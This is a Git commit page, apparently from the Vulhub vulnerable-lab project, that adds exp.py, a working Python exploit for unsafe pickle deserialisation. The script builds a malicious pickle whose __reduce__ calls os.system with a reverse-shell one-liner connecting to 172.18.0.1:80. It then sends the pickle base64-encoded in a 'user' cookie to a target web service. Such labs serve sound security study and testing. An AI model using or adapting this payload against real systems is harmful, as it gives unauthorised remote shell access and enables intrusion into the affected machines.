first commit
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
Some checks failed
Vulhub Format Check and Lint / format-check (push) Has been cancelled
Vulhub Format Check and Lint / markdown-check (push) Has been cancelled
Vulhub Docker Image CI / longtime-images-test (push) Has been cancelled
Vulhub Docker Image CI / images-test (push) Has been cancelled
This commit is contained in:
20
python/unpickle/exp.py
Normal file
20
python/unpickle/exp.py
Normal file
@@ -0,0 +1,20 @@
|
||||
#!/usr/bin/env python3
|
||||
import requests
|
||||
import pickle
|
||||
import os
|
||||
import base64
|
||||
|
||||
|
||||
class exp(object):
|
||||
def __reduce__(self):
|
||||
s = """python -c 'import socket,subprocess,os;s=socket.socket(socket.AF_INET,socket.SOCK_STREAM);s.connect(("172.18.0.1",80));os.dup2(s.fileno(),0); os.dup2(s.fileno(),1); os.dup2(s.fileno(),2);p=subprocess.call(["/bin/bash","-i"]);'"""
|
||||
return (os.system, (s,))
|
||||
|
||||
|
||||
e = exp()
|
||||
s = pickle.dumps(e)
|
||||
|
||||
response = requests.get("http://172.18.0.2:8000/", cookies=dict(
|
||||
user=base64.b64encode(s).decode()
|
||||
))
|
||||
print(response.content)
|
Reference in New Issue
Block a user